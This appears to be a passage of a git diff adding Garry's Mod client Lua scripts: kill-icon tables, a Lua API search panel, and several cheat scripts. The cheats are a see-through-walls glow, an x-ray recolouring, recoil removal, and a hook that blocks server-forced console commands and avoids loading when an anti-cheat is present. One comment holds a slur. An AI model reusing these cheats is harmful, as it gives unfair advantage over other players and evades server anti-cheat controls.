pairs(cleaner) do + mats[i] = mat + i = i + 1 + end + + table.sort(mats) +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_PissOff.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_PissOff.lua new file mode 100644 index 0000000..dad0e80 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_PissOff.lua @@ -0,0 +1,51 @@ + + +if (HeXGlobal_AC or HACInstalled) then + printDelay("[WRN] Not loading PissOff, AC!") + return +end + +--0 block, 1 allow, 2 log and allow +local EnabledPCC = CreateClientConVar("hex_pcc", 1, false, false) +local EnabledRCC = CreateClientConVar("hex_rcc", 1, false, false) + + +local function ConCommand(self,str) + local Lev = EnabledPCC:GetInt() + + if (Lev == 0) then --Block + print("! BLOCKED PCC: ", str) + return + + elseif (Lev == 2) then + print("! PCC: ", str) + end + + return self:ConCommandOld(str) +end +HeX.Detour.Meta("Player", "ConCommand", ConCommand) + + +local function ConsoleCommand(...) + local Lev = EnabledRCC:GetInt() + + if (Lev == 0) then --Block + print("! BLOCKED RCC: ", ...) + return + + elseif (Lev == 2) then + print("! RCC: ", ...) + end + + return RunConsoleCommandOld(...) +end +HeX.Detour.Global("_G", "RunConsoleCommand", ConsoleCommand) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_Walls.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_Walls.lua new file mode 100644 index 0000000..948968e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_Walls.lua @@ -0,0 +1,318 @@ + +local walls = {} --Quicker than changing all the table stuff + +local Enabled = CreateClientConVar("l4d_enabled", 1, true, false) +local DoWeapons = CreateClientConVar("l4d_weapons", 1, true, false) +local WepMaxDmg = CreateClientConVar("l4d_wep_dmg", 43, true, false) +local WepHue = CreateClientConVar("l4d_wep_hue", 160, true, false) +local WepHueEnd = CreateClientConVar("l4d_wep_hue_end", 30, true, false) +local BlurSize = CreateClientConVar("l4d_passes", 3, true, false) + +local Vehicles = { + prop_vehicle_jeep = true, + prop_vehicle_airboat = true, + prop_vehicle_prisoner_pod = true, +} + + +local MaterialBlurX = Material("pp/blurx") +local MaterialBlurY = Material("pp/blury") + +local MaterialWhite = CreateMaterial( "WhiteMaterial", "VertexLitGeneric", { + ["$basetexture"] = "color/white", + ["$vertexalpha"] = "1", + ["$model"] = "1", + } +) +local MaterialComposite = CreateMaterial("CompositeMaterial", "UnlitGeneric", { + ["$basetexture"] = "_rt_FullFrameFB", + ["$additive"] = "1", + } +) +local RT1 = GetRenderTarget("L4D1") +local RT2 = GetRenderTarget("L4D2") + + + +walls.RenderToStencil = function(entity) + -- tell the stencil buffer we're going to write a value of one wherever the model + -- is rendered + render.SetStencilEnable( true ) + render.SetStencilFailOperation( STENCILOPERATION_KEEP ) + render.SetStencilZFailOperation( STENCILOPERATION_KEEP ) + --STENCILOPERATION_INVERT + render.SetStencilPassOperation( STENCILOPERATION_REPLACE ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_ALWAYS ) + render.SetStencilWriteMask( 1 ) + render.SetStencilReferenceValue( 1 ) + + -- this uses a small hack to render ignoring depth while not drawing color + -- i couldn't find a function in the engine to disable writing to the color channels + -- i did find one for shaders though, but I don't feel like writing a shader for this. + cam.IgnoreZ(true) + render.SetBlend(0) + local weap = nil + if entity:IsPlayer() then + weap = entity:GetActiveWeapon() + end + + SetMaterialOverride(MaterialWhite) + entity:DrawModel() + + if ValidEntity(weap) then + weap:DrawModel() + end + SetMaterialOverride() + --render.SetBlend(1) + render.SetBlend(1) + cam.IgnoreZ(false) + + --don't need this for the next pass + render.SetStencilEnable( false ) +end + + + + +walls.RenderToGlowTexture = function(entity) + if not Enabled:GetBool() then return end + + local w, h = ScrW(), ScrH() + local fogmode = render.GetFogMode() + render.FogMode(MATERIAL_FOG_NONE) + -- draw into the white texture + local oldRT = render.GetRenderTarget() + render.SetRenderTarget( RT1 ) + render.SetViewPort( 0, 0, 512, 512 ) + + cam.IgnoreZ( false ) + render.SuppressEngineLighting( true ) + local weap = nil + + if entity:IsPlayer() then + local col = team.GetColor(entity:Team()) + if entity.StencilColor != nil then + col = entity.StencilColor + end + render.SetColorModulation( col.r/255, col.g/255, col.b/255) + + weap = entity:GetActiveWeapon() + else + local col = Color(255,255,255) + if entity.StencilColor != nil then + col = entity.StencilColor + end + render.SetColorModulation( col.r/255, col.g/255, col.b/255) + end + + SetMaterialOverride( MaterialWhite ) + entity:DrawModel(entity) + if ValidEntity(weap) then + weap:DrawModel() + end + SetMaterialOverride() + + render.SetColorModulation( 1, 1, 1 ) + render.SuppressEngineLighting( false ) + + cam.IgnoreZ( false ) + + render.SetViewPort( 0, 0, w, h ) + render.SetRenderTarget( oldRT ) + render.FogMode(fogmode) +end + +walls.RenderScene = function( Origin, Angles ) + if not Enabled:GetBool() then return end + + local oldRT = render.GetRenderTarget() + render.SetRenderTarget( RT1 ) + render.Clear( 0, 0, 0, 255, true ) + render.SetRenderTarget( oldRT ) +end + + +walls.FakeModel = ClientsideModel("models/props_c17/canister02a.mdl", RENDERGROUP_OPAQUE) +walls.FakeModel:SetPos(Vector(0,0,-1000)) + + +walls.SetupFakeModel = function(ent) + walls.FakeModel:SetModel("models/props_c17/canister02a.mdl") + local mdl = ent:GetModel() + if mdl == nil then return end + walls.FakeModel:SetModel(mdl) + + walls.FakeModel:SetPos( ent:GetPos() ) + walls.FakeModel:SetAngles( ent:GetAngles() ) + + walls.FakeModel.StencilColor = ent.StencilColor +end + +walls.MoveFakeModel = function() + walls.FakeModel:SetPos( Vector(0,0,-1000) ) + walls.FakeModel.StencilColor = nil +end + +--[[ +local AllEnts = {} +local function UpdateEnts() + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) and not AllEnts[v] then + AllEnts[v] = v + end + end + + for k,v in pairs(AllEnts) do + if not ValidEntity(v) + AllEnts[k] = v + end + end +end +hook.Add("Think", "UpdateEnts", UpdateEnts) +]] + +walls.CanDrawL4D = function(ent) + if ent:IsNPC() then + ent.StencilColor = Color(0,0,255) + return 1 + + elseif Vehicles[ ent:GetClass() ] then + ent.StencilColor = Color(0,207,255) + return 1 + + elseif ent:IsWeapon() and DoWeapons:GetBool() then + local col = Color(140,0,255) + + if not ValidEntity(ent.Owner) or ent.Owner == nil then + if ent.Primary then + local maxdmg = WepMaxDmg:GetInt() + local starthue = WepHue:GetInt() + local endhue = WepHueEnd:GetInt() + + local dmg = ent.Primary.Damage or 0 + dmg = math.max(0, 1 - (dmg / maxdmg)) + dmg = dmg * (starthue - endhue) + endhue + + //print(dmg, ent.Primary.Damage) + col = HSVToColor(dmg, 1, 1) + end + ent.StencilColor = col + return 2 + end + end +end + + +walls.DrawOtherStuff = function() + if not Enabled:GetBool() then return end + + local entslist = ents.GetAll() + for i=1, #entslist do + local ent = entslist[i] + + --for k,ent in pairs(ents.GetAll()) do + if ValidEntity(ent) and not ent:IsPlayer() and ent:GetModel() != "" then + local Draw = walls.CanDrawL4D(ent) + + if Draw and Draw > 0 then + if Draw > 1 then + walls.SetupFakeModel(ent) + walls.OUTLINING = true + + walls.RenderToStencil( walls.FakeModel ) + walls.RenderToGlowTexture( walls.FakeModel ) + + walls.OUTLINING = false + walls.MoveFakeModel() + else + walls.OUTLINING = true + + walls.RenderToStencil( ent ) + walls.RenderToGlowTexture( ent ) + + walls.OUTLINING = false + end + end + end + end +end + + +walls.RenderScreenspaceEffects = function( ) + if not Enabled:GetBool() then return end + + MaterialBlurX:SetMaterialTexture( "$basetexture", RT1 ) + MaterialBlurY:SetMaterialTexture( "$basetexture", RT2 ) + + local BSize = BlurSize:GetInt() or 2 + + MaterialBlurX:SetMaterialFloat( "$size", BSize ) // 2 + MaterialBlurY:SetMaterialFloat( "$size", BSize ) + + local oldRT = render.GetRenderTarget() + + -- blur horizontally + render.SetRenderTarget( RT2 ) + render.SetMaterial( MaterialBlurX ) + render.DrawScreenQuad() + + -- blur vertically + render.SetRenderTarget( RT1 ) + render.SetMaterial( MaterialBlurY ) + render.DrawScreenQuad() + + render.SetRenderTarget( oldRT ) + + -- tell the stencil buffer we're only going to draw + -- where the player models are not. + render.SetStencilEnable( true ) + render.SetStencilReferenceValue( 0 ) + render.SetStencilTestMask( 1 ) + render.SetStencilCompareFunction( STENCILCOMPARISONFUNCTION_EQUAL ) + render.SetStencilPassOperation( STENCILOPERATION_ZERO ) + + -- composite the scene + MaterialComposite:SetMaterialTexture( "$basetexture", RT1 ) + render.SetMaterial( MaterialComposite ) + render.DrawScreenQuad() + + -- don't need this anymore + render.SetStencilEnable( false ) +end + + +walls.PostPlayerDraw = function( pl ) + if not Enabled:GetBool() then return end + + -- prevent recursion + if( walls.OUTLINING ) then return end + walls.OUTLINING = true + walls.RenderToStencil( pl ) + walls.RenderToGlowTexture( pl ) + -- prevents recursion time + walls.OUTLINING = false + + --if( ScrW() == ScrH() ) then return end + --return false // Prevent gay GMs doing shit to players too (like hats) +end +--PostDrawOpaqueRenderables + + +hook.Add("RenderScene", "walls.RenderScene", walls.RenderScene) +hook.Add("RenderScreenspaceEffects", "walls.RenderScreenspaceEffects", walls.RenderScreenspaceEffects) +hook.Add("PostPlayerDraw", "walls.PostPlayerDraw", walls.PostPlayerDraw) +hook.Add("PostDrawTranslucentRenderables", "walls.PostDrawTranslucentRenderables", walls.DrawOtherStuff) + + + + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_hex_worldspawnfix_OLD.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_hex_worldspawnfix_OLD.lua new file mode 100644 index 0000000..3464015 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/cl_hex_worldspawnfix_OLD.lua @@ -0,0 +1,192 @@ + + +if ( CLIENT ) then + +local killicons_color = Color( 255, 80, 0, 255 ) + + local function AddKillicon(class, material) + killicon.Add(class,material,killicons_color) + end + + +--gmod turret +--killicon.AddFont( "gmod_turret", "HL2MPTypeDeath", "/", Color( 255, 80, 0, 255 ) ) --red +--killicon.AddFont( "gmod_turret", "HL2MPTypeDeath", "/", Color( 255, 174, 0, 255 ) ) --orange +killicon.AddFont( "gmod_turret", "HL2MPTypeDeath", "/", Color( 192, 0, 192, 255 ) ) --purple + + +--gmod thruster +--AddKillicon("gmod_thruster","killicons/worldspawn_killicon") + + +--from cl_killicons +AddKillicon("env_laser","killicons/env_laser_killicon") +AddKillicon("env_beam","killicons/env_laser_killicon") +AddKillicon("combine_mine","killicons/combine_mine_killicon") +AddKillicon("concussiveblast","killicons/npc_strider_cannon_killicon") +AddKillicon("func_physbox","killicons/func_physbox_killicon") +AddKillicon("func_physbox_multiplayer","killicons/func_physbox_killicon") +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") +AddKillicon("env_headcrabcanister","killicons/env_headcrabcanister_killicon") +AddKillicon("npc_antlion_worker","killicons/npc_antlion_killicon") +AddKillicon("weapon_striderbuster","killicons/weapon_striderbuster_killicon") +AddKillicon("sent_nuke","killicons/sent_nuke_killicon") +AddKillicon("sent_nuke_radiation","killicons/sent_nuke_killicon") + + + + + + + + +--fire +AddKillicon("env_fire","killicons/env_fire_killicon") +AddKillicon("entityflame","killicons/env_fire_killicon") + +--floor +AddKillicon("worldspawn","killicons/worldspawn_killicon") + +--boom +AddKillicon("env_explosion","killicons/env_explosion_killicon") +AddKillicon("env_physexplosion","killicons/env_explosion_killicon") + +--doors +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") + +--gravestone +AddKillicon("gravestone","killicons/gravestone_killicon") +AddKillicon("player","killicons/gravestone_killicon") + +--suicide +AddKillicon("suicide","killicons/suicide_killicon") + +--acid +killicon.Add( "grenade_spit", "killicons/grenade_spit_killicon", Color( 0, 255, 0, 255 ) ) --green +killicon.Add( "weapon_acidshotgun", "killicons/grenade_spit_killicon", Color( 0, 255, 0, 255 ) ) --green +killicon.Add( "AcidGrenade", "killicons/grenade_spit_killicon", Color( 0, 255, 0, 255 ) ) --green + +--others +killicon.Add( "ent_mad_c4", "vgui/entities/weapon_mad_c4", Color( 255, 255, 255, 255 ) ) --white +killicon.Add( "hunter_flechette", "killicons/hunter_flechette_killicon", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("weapon_sniper","CSKillIcons","r", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("suicide_deagle", "CSKillIcons", "f", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("weapon_stridercannon", "HL2MPTypeDeath", "3", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont("flechette_awp","CSKillIcons","r",Color( 0, 255, 0, 255 ) ) --green + + + +--bulletnade +killicon.AddFont( "weapon_bulletnade", "HL2MPTypeDeath", "5", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont( "bullet_grenade", "HL2MPTypeDeath", "5", Color( 0, 255, 0, 255 ) ) --green + +--tripmines +killicon.AddFont( "npc_tripmine", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) +killicon.AddFont( "npc_satchel", "HL2MPTypeDeath", "*", Color( 255, 80, 0, 255 ) ) + +--KH +killicon.AddFont( "boomstick", "HL2MPTypeDeath", "0", Color( 0, 255, 0, 255 ) ) --green +killicon.AddFont( "kh_smg", "HL2MPTypeDeath", "/", Color( 0, 255, 0, 255 ) ) --green + + +--[[ +not needed + +killicon.AddFont( "npc_grenade_frag", "CSKillIcons", "p", Color( 255, 80, 0, 255 ) ) +--killicon.AddFont( "BOOMSTICK", "HL2MPTypeDeath", "0", Color( 15, 20, 200, 255 ) ) +--Color( 15, 20, 200, 255 ) --boomstick blue + +]] + +--[[ +--new 357 +language.Add( "HL2_357Handgun", ".357 Magnum" ) +language.Add( "#HL2_357Handgun", ".357 Magnum" ) +language.Add( "weapon_357", ".357 Magnum" ) +]] + +language.Add( "cycler_actor", "NPC" ) +language.Add( "point_hurt", "NPC" ) + +language.Add( "npc_antlion_worker", "AcidLiON" ) +language.Add( "grenade_spit", "Acid Spit" ) +language.Add( "hunter_flechette", "Flechettes" ) +language.Add( "item_item_crate", "Item Crate" ) + + +language.Add( "entityflame", "Fire" ) +language.Add( "env_explosion", "Kaboom" ) +language.Add( "env_physexplosion", "Kaboom" ) +language.Add( "env_fire", "Fire" ) +language.Add( "env_laser", "Laz0r" ) +language.Add( "env_beam", "Laz0r" ) +language.Add( "func_door", "The Door" ) +language.Add( "func_door_rotating", "The Door" ) +language.Add( "prop_door_rotating", "The Door" ) +language.Add( "func_tracktrain", "Railway" ) +language.Add( "gmod_balloon", "Balloon" ) +language.Add( "gmod_spawner", "Prop Spawner" ) +language.Add( "gmod_thruster", "Thruster" ) +--language.Add( "gmod_thruster_old", "Thruster" ) +language.Add( "gmod_turret", "GMod Turret" ) +language.Add( "item_healthvial", "Health Vial" ) +language.Add( "npc_bullseye", "Fort Door" ) +language.Add( "npc_clawscanner", "Claw Scanner" ) +language.Add( "npc_grenade_frag", "Frag Grenade" ) +language.Add( "npc_helicopter", "Combine Choppa" ) +language.Add( "phys_magnet", "Magnet" ) +language.Add( "prop_combine_ball", "Combine Energy Ball" ) +language.Add( "prop_physics_multiplayer", "Multiplayer Physics Prop" ) +language.Add( "prop_ragdoll_attached", "Ragdoll" ) +language.Add( "prop_vehicle_apc", "Combine APC" ) +language.Add( "prop_vehicle_jeep", "Jeep" ) +language.Add( "prop_vehicle_pod", "Seat" ) +language.Add( "trigger_hurt", "The Map" ) +language.Add( "weapon_striderbuster", "Magnusson Device" ) +language.Add( "World", "Gravity" ) +language.Add( "worldspawn", "Gravity" ) + +language.Add( "func_physbox", "Physbox" ) +language.Add( "func_physbox_multiplayer", "Physbox" ) + +end + + +usermessage.Hook( "PlayerKilled", function ( message ) + + local victim = message:ReadEntity(); + local inflictor = message:ReadString(); + local attacker = "#" .. message:ReadString(); + + if (attacker == "#combine_mine") then inflictor = "combine_mine" end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim:Name(), victim:Team() ) + +end ) + +usermessage.Hook( "NPCKilledNPC", function ( message ) + + local victim = "#" .. message:ReadString(); + local inflictor = message:ReadString(); + local tmp = message:ReadString(); + local attacker = "#" .. tmp; + + if (tmp == "combine_mine" or + tmp == "npc_antlion" or + tmp == "npc_antlionguard" or + tmp == "npc_barnacle" or + (tmp == "npc_antlion_worker" and inflictor ~= "grenade_spit") or + (tmp == "npc_hunter" and inflictor ~= "hunter_flechette") or + (tmp == "npc_strider" and inflictor ~= "concussiveblast") or + tmp == "npc_rollermine" or + tmp == "weapon_striderbuster" or + tmp == "npc_manhack") then inflictor = tmp + end + + GAMEMODE:AddDeathNotice( attacker, -1, inflictor, victim, -1 ) + +end ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/getmodel.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/getmodel.lua new file mode 100644 index 0000000..b27634f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/getmodel.lua @@ -0,0 +1,21 @@ + + +local function EntityInformation() + local trace = LocalPlayer():GetEyeTrace() + print(trace.Entity:GetClass()) + if trace.Hit and trace.Entity:IsValid() and string.find(string.lower(trace.Entity:GetClass()), "prop") then + print(trace.Entity:GetModel()) + print(trace.Entity:GetOwner()) + print(trace.Entity:Health()) + PrintTable(trace.Entity:GetTable()) + elseif trace.Hit and trace.Entity:IsValid() and trace.Entity:GetClass() == "player" then + print(trace.Entity:Nick()) + print(trace.Entity:Health()) + print(trace.Entity:GetActiveWeapon():GetPrintName()) + print("the guy you're looking at is admin:", trace.Entity:IsAdmin()) + + //print(trace.Entity:GetTool()) + //print(trace.Entity:GetViewModel():GetModel()) //NULL!!!! + end +end +concommand.Add("GetModel", EntityInformation) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/hex_noviewpunch.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/hex_noviewpunch.lua new file mode 100644 index 0000000..256562b --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/hex_noviewpunch.lua @@ -0,0 +1 @@ + local Enabled = CreateClientConVar("hex_noviewpunch", 1, true, false) local Old = _R.Player.ViewPunch function _R.Player:ViewPunch(ang) if Enabled:GetBool() then return end return Old(self,ang) end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/luasearch.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/luasearch.lua new file mode 100644 index 0000000..230ff3a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/luasearch.lua @@ -0,0 +1,129 @@ +LuaSearch = LuaSearch or {} +concommand.Add( "luasearch", function( ply, com, args ) + if(ValidEntity(LuaSearch.Panel)) then return end + LuaSearch.Panel = vgui.Create("DFrame") + local Panel = LuaSearch.Panel + Panel:SetSize(ScrW(), ScrH()) + Panel:Center() + Panel:MakePopup() + Panel:SetTitle("Lua Search - Powered by Overv's Lua Searcher") + + Panel.Search = vgui.Create("DTextEntry", Panel) + Panel.Search:SetSize(ScrW()-79, 20) + Panel.Search:SetPos(5, ScrH()-22) + + Panel.Button = vgui.Create("DButton", Panel) + Panel.Button:SetSize(70, 20) + Panel.Button:SetPos(ScrW()-75, ScrH()-22) + Panel.Button:SetText("Search") + local function CreateTree() + Panel.Tree = vgui.Create("DTree", Panel) + Panel.Tree:SetSize(ScrW()-10, ScrH()-100) --50 + Panel.Tree:SetPos(5, 24) + Panel.Tree:SetShowIcons(true) + end + + CreateTree() + + Panel.DescriptionFrame = vgui.Create("DPanel", Panel) + Panel.DescriptionFrame:SetPos(5, ScrH()-70) + Panel.DescriptionFrame:SetSize(ScrW()-10, 45) + Panel.DescriptionFrame:SetBackgroundColor(Color(221,221,221,255)) + + Panel.DescriptionText = vgui.Create("DLabel", Panel.DescriptionFrame) + Panel.DescriptionText:SetPos(5, 5) + Panel.DescriptionText:SetText("Select a function.") + Panel.DescriptionText:SetTextColor(Color(0,0,0,255)) + Panel.DescriptionText:SizeToContents() + + + local function FixString(k) + local finalstring = "" + for i=1, #k do + local char = string.sub(k, i, i) + if(string.byte(char) > 160) then + char = string.char(string.byte(char)-100) + end + finalstring = finalstring .. char + end + return finalstring + end + + function Panel.Button:DoClick() + local KeyWord = LuaSearch.Panel.Search:GetValue() + if(KeyWord ~= "") then + http.Get("http://luasearch.overvprojects.nl/love.php?keywords=" .. KeyWord, "", function(contents, size) + local finalstring = "" + for i=1, #contents do + local char = string.sub(contents, i, i) + if(string.upper(char) == char and string.byte(char) > 64 and char ~= "{" and char ~= "}") then -- this is a hacky way to get keyvaluestotable work with uppercase letters in the key. + char = string.char(string.byte(char)+100) + end + finalstring = finalstring .. char + end + local table = util.KeyValuesToTable(finalstring) +-- PrintTable(table) + Panel.Tree:Remove() + CreateTree() + local Objects = Panel.Tree:AddNode("Objects") + for k,v in pairs(table.objects) do + if(type(v) == "table") then + local Node = Objects:AddNode(FixString(k)) + for i,z in pairs(v) do + local Function = Node:AddNode(string.gsub("["..string.upper(FixString(z.state)).."]".." "..FixString(i).."("..FixString(z.arguments)..")", "\n", "")) + Function.Function = FixString(i) + Function.ReturnValue = FixString(z.returns) + if(Function.ReturnValue == "") then Function.ReturnValue = "Nothing" end + Function.Description = FixString(z.description) + Function.DoClick = function(self) + Panel.DescriptionText:SetText(self.Description.."\nReturns: "..self.ReturnValue, self.Function, "Close") + Panel.DescriptionText:SizeToContents() + end + Function.ShowIcons = function() return false end + end + end + end + local Libraries = Panel.Tree:AddNode("Libraries") + for k,v in pairs(table.libraries) do + if(type(v) == "table") then + local Node = Libraries:AddNode(FixString(k)) + for i,z in pairs(v) do + local Function = Node:AddNode(string.gsub("["..string.upper(FixString(z.state)).."]".." "..FixString(i).."("..FixString(z.arguments)..")", "\n", "")) + Function.Function = FixString(i) + Function.ReturnValue = FixString(z.returns) + if(Function.ReturnValue == "") then Function.ReturnValue = "Nothing" end + Function.Description = FixString(z.description) + Function.DoClick = function(self) + Panel.DescriptionText:SetText(self.Description.."\nReturns: "..self.ReturnValue, self.Function, "Close") + Panel.DescriptionText:SizeToContents() + end + Function.ShowIcons = function() return false end + end + end + end + local Hooks = Panel.Tree:AddNode("Hooks") + for k,v in pairs(table.hooks) do + if(type(v) == "table") then + local Node = Hooks:AddNode(FixString(k)) + for i,z in pairs(v) do + local Function = Node:AddNode(string.gsub("["..string.upper(FixString(z.state)).."]".." "..FixString(i).."("..FixString(z.arguments)..")", "\n", "")) + Function.Function = FixString(i) + Function.ReturnValue = FixString(z.returns) + if(Function.ReturnValue == "") then Function.ReturnValue = "Nothing" end + Function.Description = FixString(z.description) + Function.DoClick = function(self) + Panel.DescriptionText:SetText(self.Description.."\nReturns: "..self.ReturnValue, self.Function, "Close") + Panel.DescriptionText:SizeToContents() + end + Function.ShowIcons = function() return false end + end + end + end + + end) + end + end + Panel.Search.OnEnter = Panel.Button.DoClick + + +end ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/o_NewXrayVision.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/o_NewXrayVision.lua new file mode 100644 index 0000000..da39fd5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/o_NewXrayVision.lua @@ -0,0 +1,112 @@ +//local PoKiRayOn = CreateClientConVar("PoKiRayOn", 0, false, true) +local RayOn = false +local AllMats = {} +local allcolors = {} +local FSetColor = _R.Entity.SetColor +local FSetMat = _R.Entity.SetMaterial + + +local function TogglePoKiRay() + if RayOn then + surface.PlaySound("items/nvg_off.wav") + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + FSetMat(v, AllMats[v]) + local z = allcolors[v] + if z and type(z) == "number" then + FSetColor(v, 255,255,255,255) + elseif z and type(z) == "table" then + FSetColor(v, z.r, z.g, z.b, z.a) + else + FSetColor(v, 255,255,255,255) + end + end + end + else + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + allcolors[v] = v:GetColor() + end + end + surface.PlaySound("items/nvg_off.wav") + end + RayOn = not RayOn +end +concommand.Add("ToggleFRay", TogglePoKiRay) + +function DoPoKiRay() + if not RayOn then return end + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + local r,g,b,a = v:GetColor() + + if v:IsPlayer() and (r ~= 255 or g ~= 0 or b ~= 0 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v,255, 0, 0, 255) + elseif v:IsNPC() and (r ~= 0 or g ~= 0 or b ~= 255 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 0, 0, 255, 255) --0, 255, 0, 255 --also 255 + elseif v:GetClass() == "prop_physics" and (r ~= 50 or g ~= 255 or b ~= 50 or a ~= 35) then --40 --(r ~= 0 or g ~= 0 or b ~= 255 or a ~= 70) + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 50, 255, 50, 35) --40 --0, 0, 255, 70 + elseif v:IsWeapon() and (r ~= 140 or g ~= 0 or b ~= 255 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 140, 0, 255, 255) + elseif v:GetClass() == "viewmodel" and (r ~= 0 or g ~= 0 or b ~= 0 or a ~= 50) then --30 + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 0, 0, 0, 50) --30 + elseif (v:GetClass() == "prop_vehicle_jeep" or v:GetClass() == "prop_vehicle_airboat") and (r ~= 0 or g ~= 207 or b ~= 255 or a ~= 55) then --was 50 + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 0, 207, 255, 55) --50 + elseif (v:GetClass() == "ent_mad_c4" or v:GetClass() == "gravestone" or v:GetClass() == "npc_tripmine" or v:GetClass() == "npc_satchel") and (r ~= 255 or g ~= 0 or b ~= 0 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 255, 0, 0, 255) + + + elseif (v:GetClass() == "item_battery" or v:GetClass() == "item_healthkit") and (r ~= 255 or g ~= 0 or b ~= 100 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 255, 0, 100, 255) + + + + --elseif (v:GetClass() == "drug_lab" or v:GetClass() == "money_printer") and (r ~= 66 or g ~= 179 or b ~= 247 or a ~= 150) then + --allcolors[v] = Color(r,g,b,a) + --FSetColor(v, 66, 179, 247, 150) + + + --and v:GetClass() ~= "drug_lab" and v:GetClass() ~= "money_printer" + + elseif not v:IsPlayer() and not v:IsNPC() and v:GetClass() ~= "prop_physics" and v:GetClass() ~= "item_battery" and v:GetClass() ~= "item_healthkit" and v:GetClass() ~= "npc_satchel" and v:GetClass() ~= "npc_tripmine" and v:GetClass() ~= "gravestone" and v:GetClass() ~= "ent_mad_c4" and v:GetClass() ~= "prop_vehicle_jeep" and v:GetClass() ~= "prop_vehicle_airboat" and not v:IsWeapon() and v:GetClass() ~= "viewmodel" and ( r ~= 255 or g ~= 200 or b ~= 0 or a ~= 85) then --100 + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 255, 200, 0, 85) --100 + end + + if v:GetClass() ~= "viewmodel" and v:GetMaterial() ~= "PoKiRayMat" then + AllMats[v] = v:GetMaterial() + FSetMat(v, "PoKiRayMat") + end + + end + end +end +hook.Add( "RenderScene", "PoKiRay", DoPoKiRay) + +--uncomment these if you want colormod to make the screen black ish (makes it more realistic) +--local ColorMod ={} +--ColorMod[ "$pp_colour_addr" ] = 0 +--ColorMod[ "$pp_colour_addg" ] = 0 +--ColorMod[ "$pp_colour_addb" ] = 0 +--ColorMod[ "$pp_colour_brightness" ] = -0.1 +--ColorMod[ "$pp_colour_contrast" ] = 1 +--ColorMod[ "$pp_colour_colour" ] = 1 +--ColorMod[ "$pp_colour_mulr" ] = 0 +--ColorMod[ "$pp_colour_mulg" ] = 0 +--ColorMod[ "$pp_colour_mulb" ] = 0 + +local function ChangeColours() + if not RayOn then return end + --DrawColorModify( ColorMod ) + --and the one above +end +hook.Add( "RenderScreenspaceEffects", "PoKiRayColour", ChangeColours) +//hook.Remove( "RenderScreenspaceEffects", "PoKiRayColour") \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/worldspawnfix.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/worldspawnfix.lua new file mode 100644 index 0000000..d3a7c34 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/worldspawnfix.lua @@ -0,0 +1,52 @@ +if ( SERVER ) then + + AddCSLuaFile( "worldspawnfix.lua" ) +end + +if ( CLIENT ) then + +language.Add( "cycler_actor", "NPC" ) +language.Add( "point_hurt", "NPC" ) + +language.Add( "npc_antlion_worker", "AcidLiON" ) +language.Add( "grenade_spit", "Acid Spit" ) +language.Add( "hunter_flechette", "Flechettes" ) +language.Add( "item_item_crate", "Item Crate" ) + + +language.Add( "entityflame", "Fire" ) +language.Add( "env_explosion", "Boom" ) +language.Add( "env_fire", "Fire" ) +language.Add( "env_laser", "Laz0r" ) +language.Add( "env_beam", "Laz0r" ) +language.Add( "func_door", "The Door" ) +language.Add( "func_door_rotating", "The Door" ) +language.Add( "prop_door_rotating", "The Door" ) +language.Add( "func_tracktrain", "Railway" ) +language.Add( "gmod_balloon", 